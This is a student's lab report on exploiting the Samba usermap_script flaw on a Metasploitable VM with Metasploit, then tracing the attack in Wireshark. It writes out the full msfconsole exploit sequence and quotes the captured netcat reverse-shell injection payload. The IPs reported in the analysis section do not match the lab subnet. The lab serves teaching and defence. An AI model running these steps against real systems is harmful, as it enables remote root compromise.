实践七 Linux系统攻防
一、实验内容
1.主要任务
-
Metasploit 远程渗透攻击
使用 Metasploit 渗透测试框架,针对 Metasploitable 靶机上的 Samba 服务
usermap_script漏洞进行远程渗透攻击,获取目标主机的 root 权限。 -
进行攻防对抗实践
攻击方利用 Metasploit 对靶机实施漏洞利用并获得远程控制权,执行敏感命令;防守方使用 tcpdump 和 Wireshark 对攻击全程进行流量捕获,并从数据包中提取攻击者 IP、目标 IP 和端口、攻击发起时间、利用漏洞类型、攻击载荷(Shellcode)以及成功后执行的命令。
2.实验环境
- 主机系统:Windows 11
- 虚拟化平台:VMware Workstation 17 Pro
- 虚拟机:
| 主机 | IP地址 | Mac地址 |
|---|---|---|
| Kali Linux 2020.1 | 192.168.188.2 | 00:0c:29:42:40:f9 |
| Kali Linux 2025.4 | 192.168.188.7 | 00:0c:29:d2:d4:c0 |
| Metasploit_ubuntu | 192.168.188.4 | |
| VMNet8网卡 | 192.168.188.1 | 00:50:56:fa:aa:1e |
- 网络模式:NAT模式(VMnet8,子网 192.168.188.0/24)确保虚拟机间及与宿主机互通。
3.知识点梳理
- Metasploit 基础:
msfconsole使用、模块加载(use)、参数配置(set)、漏洞利用(exploit)和会话管理(sessions)。 - Samba 漏洞原理:
usermap_script命令注入漏洞(CVE-2007-2447),通过包含恶意 shell 元字符的用户名在sh -c中执行任意命令。 - Payload 机制:反向 Shell(
cmd/unix/reverse_netcat)利用mkfifo和nc建立反向连接并重定向 I/O。 - 网络连通性诊断:
ping和nmap检查目标可达性与端口开放状态。 - 流量分析:
tcpdump抓包、Wireshark 过滤(tcp.port、smb)与 TCP 流追踪,从原始流量中还原攻击过程。 - 攻击取证:从 SMB 会话请求中提取命令注入 payload,从反向连接端口的 TCP 流中恢复攻击者输入的明文命令。
二、实验过程
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
首先确认连通性

①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
use /multi/samba/usermap_script

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

④设置渗透攻击参数(RHOST,LHOST,TARGET等);
set RHOST 192.168.188.4
set LHOST 192.168.188.7
set LPORT 4444
set payload cmd/unix/reverse_netcat

show options确定一下配置

⑤执行渗透攻击;
exploit
sessions 1 #进入会话
执行渗透攻击后会看上去像是卡了,这是因为Metasploit 默认把拿到的 shell 放在后台,不会自动弹出交互界面,所以你看到提示后就停滞在那里。
这时执行sessions 1可以进入会话,然后正常执行命令就可以了

⑥查看是否正确得到远程Shell,并查看获得的权限。
查看hostname,显示metasplotiable

执行whoami发现现在是root

(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcp dump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
防守方开始抓包

攻击机攻击靶机

sudo msfconsole
use /multi/samba/usermap_script
set RHOST 192.168.188.4
set LHOST 192.168.188.7
set LPORT 4444
set payload cmd/unix/reverse_netcat
exploit
sessions 1

依次执行了
whoami
ls
echo "HACKED by Kali 2025.4"
防守方结束抓包

执行以下命令进行分析
wireshark /home/kali/pcap/attack.pcap

从过滤后的流量中可以清晰看到:
源IP地址:192.168.200.2
目的IP地址:192.168.200.133
主要协议:TCP、SMB协议

查看第一个包,发现 Arrival Time: Apr 27, 2026 14:55:50.761182000 中国标准时间,这就是攻击发起时间
追踪第八个包(SMB)

/=`nohup mkfifo /tmp/jvsxab; nc 192.168.188.7 4444 0</tmp/jvsxab | /bin/sh >/tmp/jvsxab 2>&1; rm /tmp/jvsxab`
丢给ai分析得到这个就是 usermap_script漏洞利用的典型特征:通过构造包含命令的用户名,注入并执行反向 shell。
选取后续的一个tcp包进行追踪,骇入成功后执行的命令一览无余

三、学习中遇到的问题及解决
1.输入指令exploit进行攻击时失败


事实证明,只不过是网段没有配置好,加上ip记错了
2.渗透攻击成功后卡住
执行渗透攻击后会看上去像是卡了,不会自动弹出交互界面。
原因:reverse_netcat payload 提供的是非 TTY shell,不会显示提示符;Metasploit 不会自动进入交互模式。
解决:输入 sessions 1 进入会话;若提示 Session already interactive,表明已处于 shell 中,直接输入命令即可。按回车后执行 id 等命令,得到正常回显。
四、学习感悟、思考等
这次实验让我亲手走通了 Linux 端漏洞攻击和分析的完整过程。攻击只用几条命令就能拿到 root,真实验证了不及时打补丁的后果,也说明关掉不需要的服务有多重要。防守这边用 tcpdump 抓包,再在 Wireshark 里追踪 TCP 流,攻击 IP、端口、时间、注入的命令和后来敲的 shell 都能看得一清二楚。整体下来,对 Metasploit、抓包和排错的熟练度都提高了一些,对以后学安全攻防帮助很大。
参考资料:

浙公网安备 33010602011771号